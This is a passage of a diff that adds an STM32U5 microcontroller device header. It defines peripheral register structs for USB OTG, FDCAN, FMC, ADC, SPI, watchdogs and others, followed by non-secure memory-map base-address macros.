/*!< Reserved, Address offset: 900h + (ep_num * 20h) + 0Ch */ + __IO uint32_t DIEPTSIZ; /*!< IN Endpoint Txfer Size Register, Address offset: 900h + (ep_num * 20h) + 10h */ + __IO uint32_t DIEPDMA; /*!< IN Endpoint DMA Address Register, Address offset: 900h + (ep_num * 20h) + 14h */ + __IO uint32_t DTXFSTS; /*!< IN Endpoint Tx FIFO Status Register, Address offset: 900h + (ep_num * 20h) + 18h */ + __IO uint32_t Reserved18; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 1Ch */ +} USB_OTG_INEndpointTypeDef; + +/** + * @brief USB_OTG_OUT_Endpoint-Specific_Registers + */ +typedef struct +{ + __IO uint32_t DOEPCTL; /*!< dev OUT Endpoint Control Register, Address offset: B00h + (ep_num * 20h) + 00h */ + __IO uint32_t Reserved04; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 04h */ + __IO uint32_t DOEPINT; /*!< dev OUT Endpoint Itr Register, Address offset: B00h + (ep_num * 20h) + 08h */ + __IO uint32_t Reserved0C; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 0Ch */ + __IO uint32_t DOEPTSIZ; /*!< dev OUT Endpoint Txfer Size Register, Address offset: B00h + (ep_num * 20h) + 10h */ + __IO uint32_t DOEPDMA; /*!< dev OUT Endpoint DMA Address Register, Address offset: B00h + (ep_num * 20h) + 14h */ + __IO uint32_t Reserved18[2]; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 18h */ +} USB_OTG_OUTEndpointTypeDef; + +/** + * @brief USB_OTG_Host_Mode_Register_Structures + */ +typedef struct +{ + __IO uint32_t HCFG; /*!< Host Configuration Register, Address offset: 400h */ + __IO uint32_t HFIR; /*!< Host Frame Interval Register, Address offset: 404h */ + __IO uint32_t HFNUM; /*!< Host Frame Nbr/Frame Remaining, Address offset: 408h */ + uint32_t Reserved40C; /*!< Reserved, Address offset: 40Ch */ + __IO uint32_t HPTXSTS; /*!< Host Periodic Tx FIFO/ Queue Status, Address offset: 410h */ + __IO uint32_t HAINT; /*!< Host All Channels Interrupt Register, Address offset: 414h */ + __IO uint32_t HAINTMSK; /*!< Host All Channels Interrupt Mask, Address offset: 418h */ +} USB_OTG_HostTypeDef; + +/** + * @brief USB_OTG_Host_Channel_Specific_Registers + */ +typedef struct +{ + __IO uint32_t HCCHAR; /*!< Host Channel Characteristics Register, Address offset: 500h */ + __IO uint32_t HCSPLT; /*!< Host Channel Split Control Register, Address offset: 504h */ + __IO uint32_t HCINT; /*!< Host Channel Interrupt Register, Address offset: 508h */ + __IO uint32_t HCINTMSK; /*!< Host Channel Interrupt Mask Register, Address offset: 50Ch */ + __IO uint32_t HCTSIZ; /*!< Host Channel Transfer Size Register, Address offset: 510h */ + __IO uint32_t HCDMA; /*!< Host Channel DMA Address Register, Address offset: 514h */ + uint32_t Reserved[2]; /*!< Reserved, Address offset: 518h */ +} USB_OTG_HostChannelTypeDef; + +/** + * @brief FD Controller Area Network + */ +typedef struct +{ + __IO uint32_t CREL; /*!< FDCAN Core Release register, Address offset: 0x000 */ + __IO uint32_t ENDN; /*!< FDCAN Endian register, Address offset: 0x004 */ + uint32_t RESERVED1; /*!< Reserved, 0x008 */ + __IO uint32_t DBTP; /*!< FDCAN Data Bit Timing & Prescaler register, Address offset: 0x00C */ + __IO uint32_t TEST; /*!< FDCAN Test register, Address offset: 0x010 */ + __IO uint32_t RWD; /*!< FDCAN RAM Watchdog register, Address offset: 0x014 */ + __IO uint32_t CCCR; /*!< FDCAN CC Control register, Address offset: 0x018 */ + __IO uint32_t NBTP; /*!< FDCAN Nominal Bit Timing & Prescaler register, Address offset: 0x01C */ + __IO uint32_t TSCC; /*!< FDCAN Timestamp Counter Configuration register, Address offset: 0x020 */ + __IO uint32_t TSCV; /*!< FDCAN Timestamp Counter Value register, Address offset: 0x024 */ + __IO uint32_t TOCC; /*!< FDCAN Timeout Counter Configuration register, Address offset: 0x028 */ + __IO uint32_t TOCV; /*!< FDCAN Timeout Counter Value register, Address offset: 0x02C */ + uint32_t RESERVED2[4]; /*!< Reserved, 0x030 - 0x03C */ + __IO uint32_t ECR; /*!< FDCAN Error Counter register, Address offset: 0x040 */ + __IO uint32_t PSR; /*!< FDCAN Protocol Status register, Address offset: 0x044 */ + __IO uint32_t TDCR; /*!< FDCAN Transmitter Delay Compensation register, Address offset: 0x048 */ + uint32_t RESERVED3; /*!< Reserved, 0x04C */ + __IO uint32_t IR; /*!< FDCAN Interrupt register, Address offset: 0x050 */ + __IO uint32_t IE; /*!< FDCAN Interrupt Enable register, Address offset: 0x054 */ + __IO uint32_t ILS; /*!< FDCAN Interrupt Line Select register, Address offset: 0x058 */ + __IO uint32_t ILE; /*!< FDCAN Interrupt Line Enable register, Address offset: 0x05C */ + uint32_t RESERVED4[8]; /*!< Reserved, 0x060 - 0x07C */ + __IO uint32_t RXGFC; /*!< FDCAN Global Filter Configuration register, Address offset: 0x080 */ + __IO uint32_t XIDAM; /*!< FDCAN Extended ID AND Mask register, Address offset: 0x084 */ + __IO uint32_t HPMS; /*!< FDCAN High Priority Message Status register, Address offset: 0x088 */ + uint32_t RESERVED5; /*!< Reserved, 0x08C */ + __IO uint32_t RXF0S; /*!< FDCAN Rx FIFO 0 Status register, Address offset: 0x090 */ + __IO uint32_t RXF0A; /*!< FDCAN Rx FIFO 0 Acknowledge register, Address offset: 0x094 */ + __IO uint32_t RXF1S; /*!< FDCAN Rx FIFO 1 Status register, Address offset: 0x098 */ + __IO uint32_t RXF1A; /*!< FDCAN Rx FIFO 1 Acknowledge register, Address offset: 0x09C */ + uint32_t RESERVED6[8]; /*!< Reserved, 0x0A0 - 0x0BC */ + __IO uint32_t TXBC; /*!< FDCAN Tx Buffer Configuration register, Address offset: 0x0C0 */ + __IO uint32_t TXFQS; /*!< FDCAN Tx FIFO/Queue Status register, Address offset: 0x0C4 */ + __IO uint32_t TXBRP; /*!< FDCAN Tx Buffer Request Pending register, Address offset: 0x0C8 */ + __IO uint32_t TXBAR; /*!< FDCAN Tx Buffer Add Request register, Address offset: 0x0CC */ + __IO uint32_t TXBCR; /*!< FDCAN Tx Buffer Cancellation Request register, Address offset: 0x0D0 */ + __IO uint32_t TXBTO; /*!< FDCAN Tx Buffer Transmission Occurred register, Address offset: 0x0D4 */ + __IO uint32_t TXBCF; /*!< FDCAN Tx Buffer Cancellation Finished register, Address offset: 0x0D8 */ + __IO uint32_t TXBTIE; /*!< FDCAN Tx Buffer Transmission Interrupt Enable register, Address offset: 0x0DC */ + __IO uint32_t TXBCIE; /*!< FDCAN Tx Buffer Cancellation Finished Interrupt Enable register, Address offset: 0x0E0 */ + __IO uint32_t TXEFS; /*!< FDCAN Tx Event FIFO Status register, Address offset: 0x0E4 */ + __IO uint32_t TXEFA; /*!< FDCAN Tx Event FIFO Acknowledge register, Address offset: 0x0E8 */ +} FDCAN_GlobalTypeDef; + +/** + * @brief FD Controller Area Network Configuration + */ +typedef struct +{ + __IO uint32_t CKDIV; /*!< FDCAN clock divider register, Address offset: 0x100 + 0x000 */ + uint32_t RESERVED1[128];/*!< Reserved, 0x100 + 0x004 - 0x100 + 0x200 */ + __IO uint32_t OPTR; /*!< FDCAN option register, Address offset: 0x100 + 0x204 */ + uint32_t RESERVED2[58];/*!< Reserved, 0x100 + 0x208 - 0x100 + 0x2EC */ + __IO uint32_t HWCFG; /*!< FDCAN hardware configuration register, Address offset: 0x100 + 0x2F0 */ + __IO uint32_t VERR; /*!< FDCAN IP version register, Address offset: 0x100 + 0x2F4 */ + __IO uint32_t IPIDR; /*!< FDCAN IP ID register, Address offset: 0x100 + 0x2F8 */ + __IO uint32_t SIDR; /*!< FDCAN size ID register, Address offset: 0x100 + 0x2FC */ +} FDCAN_Config_TypeDef; + +/** + * @brief Flexible Memory Controller + */ +typedef struct +{ + __IO uint32_t BTCR[8]; /*!< NOR/PSRAM chip-select control register(BCR) and chip-select timing register(BTR), Address offset: 0x00-1C */ + __IO uint32_t PCSCNTR; /*!< PSRAM chip-select counter register, Address offset: 0x20 */ +} FMC_Bank1_TypeDef; + +/** + * @brief Flexible Memory Controller Bank1E + */ +typedef struct +{ + __IO uint32_t BWTR[7]; /*!< NOR/PSRAM write timing registers, Address offset: 0x104-0x11C */ +} FMC_Bank1E_TypeDef; + +/** + * @brief Flexible Memory Controller Bank3 + */ +typedef struct +{ + __IO uint32_t PCR; /*!< NAND Flash control register, Address offset: 0x80 */ + __IO uint32_t SR; /*!< NAND Flash FIFO status and interrupt register, Address offset: 0x84 */ + __IO uint32_t PMEM; /*!< NAND Flash Common memory space timing register, Address offset: 0x88 */ + __IO uint32_t PATT; /*!< NAND Flash Attribute memory space timing register, Address offset: 0x8C */ + uint32_t RESERVED0; /*!< Reserved, 0x90 */ + __IO uint32_t ECCR; /*!< NAND Flash ECC result registers, Address offset: 0x94 */ +} FMC_Bank3_TypeDef; + +/** + * @brief VREFBUF + */ +typedef struct +{ + __IO uint32_t CSR; /*!< VREFBUF control and status register, Address offset: 0x00 */ + __IO uint32_t CCR; /*!< VREFBUF calibration and control register, Address offset: 0x04 */ +} VREFBUF_TypeDef; + +/** + * @brief ADC + */ +typedef struct +{ + __IO uint32_t ISR; /*!< ADC Interrupt and Status Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< ADC Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< ADC control register, Address offset: 0x08 */ + __IO uint32_t CFGR1; /*!< ADC Configuration register, Address offset: 0x0C */ + __IO uint32_t CFGR2; /*!< ADC Configuration register 2, Address offset: 0x10 */ + __IO uint32_t SMPR1; /*!< ADC sample time register 1, Address offset: 0x14 */ + __IO uint32_t SMPR2; /*!< ADC sample time register 2, Address offset: 0x18 */ /* Specific to ADC 14Bits*/ + __IO uint32_t PCSEL; /*!< ADC pre-channel selection, Address offset: 0x1C */ + __IO uint32_t AWD1TR; /*!< ADC watchdog threshold register, Address offset: 0x20 */ /* Specific to ADC 12Bits*/ + __IO uint32_t AWD2TR; /*!< ADC watchdog threshold register, Address offset: 0x24 */ /* Specific to ADC 12Bits*/ + __IO uint32_t CHSELR; /*!< ADC channel select register, Address offset: 0x28 */ /* Specific to ADC 12Bits*/ + __IO uint32_t AWD3TR; /*!< ADC watchdog threshold register, Address offset: 0x2C */ /* Specific to ADC 12Bits*/ + __IO uint32_t SQR1; /*!< ADC regular sequence register 1, Address offset: 0x30 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR2; /*!< ADC regular sequence register 2, Address offset: 0x34 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR3; /*!< ADC regular sequence register 3, Address offset: 0x38 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR4; /*!< ADC regular sequence register 4, Address offset: 0x3C */ /* Specific to ADC 14Bits*/ + __IO uint32_t DR; /*!< ADC regular data register, Address offset: 0x40 */ + __IO uint32_t PWRR; /*!< ADC power register, Address offset: 0x44 */ + uint32_t RESERVED1; /*!< Reserved, 0x048 */ + __IO uint32_t JSQR; /*!< ADC injected sequence register, Address offset: 0x4C */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED2[4]; /*!< Reserved, 0x050 - 0x05C */ + __IO uint32_t OFR1; /*!< ADC offset register 1, Address offset: 0x60 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR2; /*!< ADC offset register 2, Address offset: 0x64 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR3; /*!< ADC offset register 3, Address offset: 0x68 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR4; /*!< ADC offset register 4, Address offset: 0x6C */ /* Specific to ADC 14Bits*/ + __IO uint32_t GCOMP; /*!< ADC gain compensation register, Address offset: 0x70 */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED3[3]; /*!< Reserved, 0x074 - 0x07C */ + __IO uint32_t JDR1; /*!< ADC injected data register 1, Address offset: 0x80 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR2; /*!< ADC injected data register 2, Address offset: 0x84 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR3; /*!< ADC injected data register 3, Address offset: 0x88 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR4; /*!< ADC injected data register 4, Address offset: 0x8C */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED4[4]; /*!< Reserved, 0x090 - 0x09C */ + __IO uint32_t AWD2CR; /*!< ADC Analog Watchdog 2 Configuration Register, Address offset: 0xA0 */ + __IO uint32_t AWD3CR; /*!< ADC Analog Watchdog 3 Configuration Register, Address offset: 0xA4 */ + __IO uint32_t LTR1; /*!< ADC watchdog Lower threshold register 1, Address offset: 0xA8 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR1; /*!< ADC watchdog higher threshold register 1, Address offset: 0xAC */ /* Specific to ADC 14Bits*/ + __IO uint32_t LTR2; /*!< ADC watchdog Lower threshold register 2, Address offset: 0xB0 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR2; /*!< ADC watchdog Higher threshold register 2, Address offset: 0xB4 */ /* Specific to ADC 14Bits*/ + __IO uint32_t LTR3; /*!< ADC watchdog Lower threshold register 3, Address offset: 0xB8 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR3; /*!< ADC watchdog Higher threshold register 3, Address offset: 0xBC */ /* Specific to ADC 14Bits*/ + __IO uint32_t DIFSEL; /*!< ADC Differential Mode Selection Register, Address offset: 0xC0 */ /* Specific to ADC 14Bits*/ + __IO uint32_t CALFACT; /*!< ADC Calibration Factors, Address offset: 0xC4 */ + __IO uint32_t CALFACT2; /*!< ADC Linearity Calibration Factors, Address offset: 0xC8 */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED5; /*!< Reserved, 0x0CC */ + __IO uint32_t OR; /*!< ADC Option Register, Address offset: 0xD0 */ /* Specific to ADC 12Bits*/ +} ADC_TypeDef; + +typedef struct +{ + __IO uint32_t CSR; /*!< ADC common status register, Address offset: 0x300 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x304 */ + __IO uint32_t CCR; /*!< ADC common control register, Address offset: 0x308 */ + __IO uint32_t CDR; /*!< ADC common regular data register for dual mode, Address offset: 0x30C */ + __IO uint32_t CDR2; /*!< ADC common regular data register for 32-bit dual mode, Address offset: 0x310 */ +} ADC_Common_TypeDef; + + +/* Legacy registers naming */ +#define PW PWRR + +/** + * @brief CORDIC + */ +typedef struct +{ + __IO uint32_t CSR; /*!< CORDIC control and status register, Address offset: 0x00 */ + __IO uint32_t WDATA; /*!< CORDIC argument register, Address offset: 0x04 */ + __IO uint32_t RDATA; /*!< CORDIC result register, Address offset: 0x08 */ +} CORDIC_TypeDef; + +/** + * @brief IWDG + */ +typedef struct +{ + __IO uint32_t KR; /*!< IWDG Key register, Address offset: 0x00 */ + __IO uint32_t PR; /*!< IWDG Prescaler register, Address offset: 0x04 */ + __IO uint32_t RLR; /*!< IWDG Reload register, Address offset: 0x08 */ + __IO uint32_t SR; /*!< IWDG Status register, Address offset: 0x0C */ + __IO uint32_t WINR; /*!< IWDG Window register, Address offset: 0x10 */ + __IO uint32_t EWCR; /*!< IWDG Early Wakeup register, Address offset: 0x14 */ +} IWDG_TypeDef; + +/** + * @brief SPI + */ +typedef struct +{ + __IO uint32_t CR1; /*!< SPI/I2S Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< SPI Control register 2, Address offset: 0x04 */ + __IO uint32_t CFG1; /*!< SPI Configuration register 1, Address offset: 0x08 */ + __IO uint32_t CFG2; /*!< SPI Configuration register 2, Address offset: 0x0C */ + __IO uint32_t IER; /*!< SPI Interrupt Enable register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< SPI Status register, Address offset: 0x14 */ + __IO uint32_t IFCR; /*!< SPI Interrupt/Status Flags Clear register, Address offset: 0x18 */ + __IO uint32_t AUTOCR; /*!< SPI Autonomous Mode Control register, Address offset: 0x1C */ + __IO uint32_t TXDR; /*!< SPI Transmit data register, Address offset: 0x20 */ + uint32_t RESERVED1[3]; /*!< Reserved, 0x24-0x2C */ + __IO uint32_t RXDR; /*!< SPI/I2S data register, Address offset: 0x30 */ + uint32_t RESERVED2[3]; /*!< Reserved, 0x34-0x3C */ + __IO uint32_t CRCPOLY; /*!< SPI CRC Polynomial register, Address offset: 0x40 */ + __IO uint32_t TXCRC; /*!< SPI Transmitter CRC register, Address offset: 0x44 */ + __IO uint32_t RXCRC; /*!< SPI Receiver CRC register, Address offset: 0x48 */ + __IO uint32_t UDRDR; /*!< SPI Underrun data register, Address offset: 0x4C */ +} SPI_TypeDef; + +/** + * @brief Touch Sensing Controller (TSC) + */ + +typedef struct +{ + __IO uint32_t CR; /*!< TSC control register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< TSC interrupt enable register, Address offset: 0x04 */ + __IO uint32_t ICR; /*!< TSC interrupt clear register, Address offset: 0x08 */ + __IO uint32_t ISR; /*!< TSC interrupt status register, Address offset: 0x0C */ + __IO uint32_t IOHCR; /*!< TSC I/O hysteresis control register, Address offset: 0x10 */ + uint32_t RESERVED1; /*!< Reserved, Address offset: 0x14 */ + __IO uint32_t IOASCR; /*!< TSC I/O analog switch control register, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved, Address offset: 0x1C */ + __IO uint32_t IOSCR; /*!< TSC I/O sampling control register, Address offset: 0x20 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x24 */ + __IO uint32_t IOCCR; /*!< TSC I/O channel control register, Address offset: 0x28 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x2C */ + __IO uint32_t IOGCSR; /*!< TSC I/O group control status register, Address offset: 0x30 */ + __IO uint32_t IOGXCR[8]; /*!< TSC I/O group x counter register, Address offset: 0x34-50 */ +} TSC_TypeDef; + +/** + * @brief WWDG + */ +typedef struct +{ + __IO uint32_t CR; /*!< WWDG Control register, Address offset: 0x00 */ + __IO uint32_t CFR; /*!< WWDG Configuration register, Address offset: 0x04 */ + __IO uint32_t SR; /*!< WWDG Status register, Address offset: 0x08 */ +} WWDG_TypeDef; + +/*@}*/ /* end of group STM32U5xx_peripherals */ + + +/* -------- End of section using anonymous unions and disabling warnings -------- */ +#if defined (__CC_ARM) + #pragma pop +#elif defined (__ICCARM__) + /* leave anonymous unions enabled */ +#elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050) + #pragma clang diagnostic pop +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning restore +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Address Map ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_Peripheral_peripheralAddr + * @{ + */ + +/* Internal SRAMs size */ +#define SRAM1_SIZE (0xC0000UL) /*!< SRAM1=768k */ +#define SRAM2_SIZE (0x10000UL) /*!< SRAM2=64k */ +#define SRAM3_SIZE (0xD0000UL) /*!< SRAM3=832k */ +#define SRAM4_SIZE (0x04000UL) /*!< SRAM4=16k */ +#define SRAM5_SIZE (0xD0000UL) /*!< SRAM5=832k */ +#define SRAM6_SIZE (0x80000UL) /*!< SRAM6=512k */ + +/* External memories base addresses - Not aliased */ +#define FMC_BASE (0x60000000UL) /*!< FMC base address */ +#define OCTOSPI2_BASE (0x70000000UL) /*!< OCTOSPI2 memories accessible over AHB base address */ +#define OCTOSPI1_BASE (0x90000000UL) /*!< OCTOSPI1 memories accessible over AHB base address */ +#define HSPI1_BASE (0xA0000000UL) /*!< HSPI1 memories accessible over AHB base address */ + +#define FMC_BANK1 FMC_BASE +#define FMC_BANK1_1 FMC_BANK1 +#define FMC_BANK1_2 (FMC_BANK1 + 0x04000000UL) +#define FMC_BANK1_3 (FMC_BANK1 + 0x08000000UL) +#define FMC_BANK1_4 (FMC_BANK1 + 0x0C000000UL) +#define FMC_BANK3 (FMC_BASE + 0x20000000UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Non secure */ +#define FLASH_BASE_NS (0x08000000UL) /*!< FLASH (4 MB) non-secure base address */ +#define SRAM1_BASE_NS (0x20000000UL) /*!< SRAM1 (768 KB) non-secure base address */ +#define SRAM2_BASE_NS (0x200C0000UL) /*!< SRAM2 (64 KB) non-secure base address */ +#define SRAM3_BASE_NS (0x200D0000UL) /*!< SRAM3 (832 KB) non-secure base address */ +#define SRAM4_BASE_NS (0x28000000UL) /*!< SRAM4 (16 KB) non-secure base address */ +#define SRAM5_BASE_NS (0x201A0000UL) /*!< SRAM5 (832 KB) non-secure base address */ +#define SRAM6_BASE_NS (0x20270000UL) /*!< SRAM6 (512 KB) non-secure base address */ +#define PERIPH_BASE_NS (0x40000000UL) /*!< Peripheral non-secure base address */ + +/* Peripheral memory map - Non secure */ +#define APB1PERIPH_BASE_NS PERIPH_BASE_NS +#define APB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00010000UL) +#define AHB1PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00020000UL) +#define AHB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x02020000UL) +#define APB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06000000UL) +#define AHB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06020000UL) + +/*!< APB1 Non secure peripherals */ +#define TIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x0000UL) +#define TIM3_BASE_NS (APB1PERIPH_BASE_NS + 0x0400UL) +#define TIM4_BASE_NS (APB1PERIPH_BASE_NS + 0x0800UL) +#define TIM5_BASE_NS (APB1PERIPH_BASE_NS + 0x0C00UL) +#define TIM6_BASE_NS (APB1PERIPH_BASE_NS + 0x1000UL) +#define TIM7_BASE_NS (APB1PERIPH_BASE_NS + 0x1400UL) +#define WWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x2C00UL) +#define IWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x3000UL) +#define SPI2_BASE_NS (APB1PERIPH_BASE_NS + 0x3800UL) +#define USART2_BASE_NS (APB1PERIPH_BASE_NS + 0x4400UL) +#define USART3_BASE_NS (APB1PERIPH_BASE_NS + 0x4800UL) +#define UART4_BASE_NS (APB1PERIPH_BASE_NS + 0x4C00UL) +#define UART5_BASE_NS (APB1PERIPH_BASE_NS + 0x5000UL) +#define I2C1_BASE_NS (APB1PERIPH_BASE_NS + 0x5400UL) +#define I2C2_BASE_NS (APB1PERIPH_BASE_NS + 0x5800UL) +#define CRS_BASE_NS (APB1PERIPH_BASE_NS + 0x6000UL) +#define USART6_BASE_NS (APB1PERIPH_BASE_NS + 0x6400UL) +#define I2C4_BASE_NS (APB1PERIPH_BASE_NS + 0x8400UL) +#define LPTIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x9400UL) +#define I2C5_BASE_NS (APB1PERIPH_BASE_NS + 0x9800UL) +#define I2C6_BASE_NS (APB1PERIPH_BASE_NS + 0x9C00UL) +#define FDCAN1_BASE_NS (APB1PERIPH_BASE_NS + 0xA400UL) +#define FDCAN_CONFIG_BASE_NS (APB1PERIPH_BASE_NS + 0xA500UL) +#define SRAMCAN_BASE_NS (APB1PERIPH_BASE_NS + 0xAC00UL) +#define UCPD1_BASE_NS (APB1PERIPH_BASE_NS + 0xDC00UL) + +/*!< APB2 Non secure peripherals */ +#define TIM1_BASE_NS (APB2PERIPH_BASE_NS + 0x2C00UL) +#define SPI1_BASE_NS (APB2PERIPH_BASE_NS + 0x3000UL) +#define TIM8_BASE_NS (APB2PERIPH_BASE_NS + 0x3400UL) +#define USART1_BASE_NS (APB2PERIPH_BASE_NS + 0x3800UL) +#define TIM15_BASE_NS (APB2PERIPH_BASE_NS + 0x4000UL) +#define TIM16_BASE_NS (APB2PERIPH_BASE_NS + 0x4400UL) +#define TIM17_BASE_NS (APB2PERIPH_BASE_NS + 0x4800UL) +#define SAI1_BASE_NS (APB2PERIPH_BASE_NS + 0x5400UL) +#define SAI1_Block_A_BASE_NS (SAI1_BASE_NS + 0x004UL) +#define SAI1_Block_B_BASE_NS (SAI1_BASE_NS + 0x024UL) +#define SAI2_BASE_NS (APB2PERIPH_BASE_NS + 0x5800UL) +#define SAI2_Block_A_BASE_NS (SAI2_BASE_NS + 0x004UL) +#define SAI2_Block_B_BASE_NS (SAI2_BASE_NS + 0x024UL) +#define LTDC_BASE_NS (APB2PERIPH_BASE_NS + 0x6800UL) +#define LTDC_Layer1_BASE_NS (LTDC_BASE_NS + 0x0084UL) +#define LTDC_Layer2_BASE_NS (LTDC_BASE_NS + 0x0104UL) +#define GFXTIM_BASE_NS (APB2PERIPH_BASE_NS + 0x6400UL) +#define DSI_BASE_NS (APB2PERIPH_BASE_NS + 0x6C00UL) +#define REFBIAS_BASE_NS (DSI_BASE_NS + 0x800UL) +#define DPHY_BASE_NS (DSI_BASE_NS + 0xC00UL) + +/*!< APB3 Non secure peripherals */ +#define SYSCFG_BASE_NS (APB3PERIPH_BASE_NS + 0x0400UL) +#define SPI3_BASE_NS (APB3PERIPH_BASE_NS + 0x2000UL) +#define LPUART1_BASE_NS (APB3PERIPH_BASE_NS + 0x2400UL) +#define I2C3_BASE_NS (APB3PERIPH_BASE_NS + 0x2800UL) +#define LPTIM1_BASE_NS (APB3PERIPH_BASE_NS + 0x4400UL) +#define LPTIM3_BASE_NS (APB3PERIPH_BASE_NS + 0x4800UL) +#define LPTIM4_BASE_NS (APB3PERIPH_BASE_NS + 0x4C00UL) +#define OPAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define OPAMP1_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define OPAMP2_BASE_NS (APB3PERIPH_BASE_NS + 0x5010UL) +#define COMP12_BASE_NS (APB3PERIPH_BASE_NS + 0x5400UL) +#define COMP1_BASE_NS (COMP12_BASE_NS) +#define COMP2_BASE_NS (COMP12_BASE_NS + 0x04UL) +#define VREFBUF_BASE_NS (APB3PERIPH_BASE_NS + 0x7400UL) +#define RTC_BASE_NS (APB3PERIPH_BASE_NS + 0x7800UL) +#define TAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x7C00UL) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_BASE_NS (AHB1PERIPH_BASE_NS) +#define GPDMA1_Channel0_BASE_NS (GPDMA1_BASE_NS + 0x0050UL) +#define GPDMA1_Channel1_BASE_NS (GPDMA1_BASE_NS + 0x00D0UL) +#define GPDMA1_Channel2_BASE_NS (GPDMA1_BASE_NS + 0x0150UL) +#define GPDMA1_Channel3_BASE_NS (GPDMA1_BASE_NS + 0x01D0UL) +#define GPDMA1_Channel4_BASE_NS (GPDMA1_BASE_NS + 0x0250UL) +#define GPDMA1_Channel5_BASE_NS (GPDMA1_BASE_NS + 0x02D0UL) +#define GPDMA1_Channel6_BASE_NS (GPDMA1_BASE_NS + 0x0350UL) +#define GPDMA1_Channel7_BASE_NS (GPDMA1_BASE_NS + 0x03D0UL) +#define GPDMA1_Channel8_BASE_NS (GPDMA1_BASE_NS + 0x0450UL) +#define GPDMA1_Channel9_BASE_NS (GPDMA1_BASE_NS + 0x04D0UL) +#define GPDMA1_Channel10_BASE_NS (GPDMA1_BASE_NS + 0x0550UL) +#define GPDMA1_Channel11_BASE_NS (GPDMA1_BASE_NS + 0x05D0UL) +#define GPDMA1_Channel12_BASE_NS (GPDMA1_BASE_NS + 0x0650UL) +#define GPDMA1_Channel13_BASE_NS (GPDMA1_BASE_NS + 0x06D0UL) +#define GPDMA1_Channel14_BASE_NS (GPDMA1_BASE_NS + 0x0750UL) +#define GPDMA1_Channel15_BASE_NS (GPDMA1_BASE_NS + 0x07D0UL) +#define CORDIC_BASE_NS (AHB1PERIPH_BASE_NS + 0x01000UL) +#define FMAC_BASE_NS (AHB1PERIPH_BASE_NS + 0x01400UL) +#define FLASH_R_BASE_NS (AHB1PERIPH_BASE_NS + 0x02000UL) +#define CRC_BASE_NS (AHB1PERIPH_BASE_NS + 0x03000UL) +#define TSC_BASE_NS (AHB1PERIPH_BASE_NS + 0x04000UL) +#define MDF1_BASE_NS (AHB1PERIPH_BASE_NS + 0x05000UL) +#define MDF1_Filter0_BASE_NS (MDF1_BASE_NS + 0x80UL) +#define MDF1_Filter1_BASE_NS (MDF1_BASE_NS + 0x100UL) +#define MDF1_Filter2_BASE_NS (MDF1_BASE_NS + 0x180UL) +#define MDF1_Filter3_BASE_NS (MDF1_BASE_NS + 0x200UL) +#define MDF1_Filter4_BASE_NS (MDF1_BASE_NS + 0x280UL) +#define MDF1_Filter5_BASE_NS (MDF1_BASE_NS + 0x300UL) +#define RAMCFG_BASE_NS (AHB1PERIPH_BASE_NS + 0x06000UL) +#define RAMCFG_SRAM1_BASE_NS (RAMCFG_BASE_NS) +#define RAMCFG_SRAM2_BASE_NS (RAMCFG_BASE_NS + 0x0040UL) +#define RAMCFG_SRAM3_BASE_NS (RAMCFG_BASE_NS + 0x0080UL) +#define RAMCFG_SRAM4_BASE_NS (RAMCFG_BASE_NS + 0x00C0UL) +#define RAMCFG_BKPRAM_BASE_NS (RAMCFG_BASE_NS + 0x0100UL) +#define RAMCFG_SRAM5_BASE_NS (RAMCFG_BASE_NS + 0x0140UL) +#define RAMCFG_SRAM6_BASE_NS (RAMCFG_BASE_NS + 0x0180UL) +#define JPEG_BASE_NS (AHB1PERIPH_BASE_NS + 0x0A000UL) +#define DMA2D_BASE_NS (AHB1PERIPH_BASE_NS + 0x0B000UL) +#define GFXMMU_BASE_NS (AHB1PERIPH_BASE_NS + 0x0C000UL) +#define GPU2D_BASE_NS (AHB1PERIPH_BASE_NS + 0x0F000UL) +#define 